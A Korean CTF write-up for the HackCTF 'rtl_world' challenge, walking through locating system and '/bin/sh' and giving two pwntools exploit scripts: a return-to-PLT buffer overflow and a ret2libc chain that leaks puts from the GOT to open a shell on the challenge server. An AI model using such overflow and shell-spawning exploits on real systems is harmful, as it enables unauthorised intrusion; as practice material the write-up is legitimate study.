(HackCTF)rtl_world
rtl_world 문제풀이
ida로 코드 확인
main함수를 보시면 system 과 /bin/sh 문자열이 당연 눈에 띄네요.
-system 함수 주소 찾는 방법 2가지
1. ida로 찾기
2. gdb peda 에서 info func
- /bin/sh 문자열 찾는 방법 3가지
1. main을 보고 /bin/sh 문자열 위치 파악해서 gdb 에서 찾는다.
2. pwtools 이용
e=ELF('./rtl_world') binsh=e.search('/bin/sh').next() |
3. objdump -s rtl_world| grep /bin/sh (사용불가. 다른 값이 나와요.)
system_plt=0x080485b0
binsh=0x8048ea8
라이브러리가 아닌 파일 자체에서 /bin/sh 문자열이 소환되어 그 주소를 얻은 것이므로 항상 일정합니다. pie 보호기법이 안 걸려 있으니깐요!
++ objdump -s rtl_world| grep /bin/sh 이 명령어로 찾은 문자열 주소는 안되길래 pwntools에서 search를 이용하였습니다.
#-*-coding:utf-8-*- from pwn import * p=remote('ctf.j0n9hyun.xyz',3010) e=ELF('./rtl_world') binsh=e.search('/bin/sh').next() system=0x080485b0 #plt주소 p.recvuntil('>>> ') p.sendline('5') p.recvuntil('[Attack] > ') payload='a'*(0x90) payload+=p32(system) payload+='aaaa' payload+=p32(binsh) p.sendline(payload) p.interactive() |
rtl기법으로도 코드를 짜봤습니다.
#-*-coding:utf-8-*- from pwn import * p=remote('ctf.j0n9hyun.xyz',3010) e=ELF('./rtl_world') l=e.libc puts_plt=0x80485a0 puts_got=0x804b01c main=0x08048983 binsh_offset=0x15ba0b puts_offset = 0x5fca0 system_offset = 0x3ada0 pr=0x8048545 p.recvuntil('>>> ') p.sendline('5') p.recvuntil('[Attack] > ') payload='a'*(0x90) payload+=p32(puts_plt) payload+=p32(pr) payload+=p32(puts_got) payload+=p32(main) p.sendline(payload) puts_addr=u32(p.recv(4)) libc=puts_addr-puts_offset system=libc+system_offset binsh=libc+binsh_offset log.succsee('puts_addr='+hex(puts_addr)) log.success('system_addr='+hex(system)) log.success('binsh_addr='+hex(binsh)) p.recvuntil('>>> ') p.sendline('5') p.recvuntil('[Attack] > ') payload='a'*(0x90) payload+=p32(system) payload+='aaaa' payload+=p32(binsh) p.sendline(payload) p.interactive() |
저는 offset이나 got주소 plt주소를 위 코드와 같이 일일이 구해서 적지 않고 l.sym['puts'] , e.plt['puts']이렇게 구하는데
제 우분투에서는 rtl_world 파일내에 라이브러리가 제대로 작동을 안하더라구요.
이 라이브러리가 없어서 인가 해서 깔아봤는데도 안되네요. 그래서 offset은 다른 분 풀이를 참조하였습니다. 제가 다 못 풀어서 아쉬움이 남는 문제였습니다.
의문점
+ 왜 objdump로 구한 binsh 주소로는 왜 다른거지?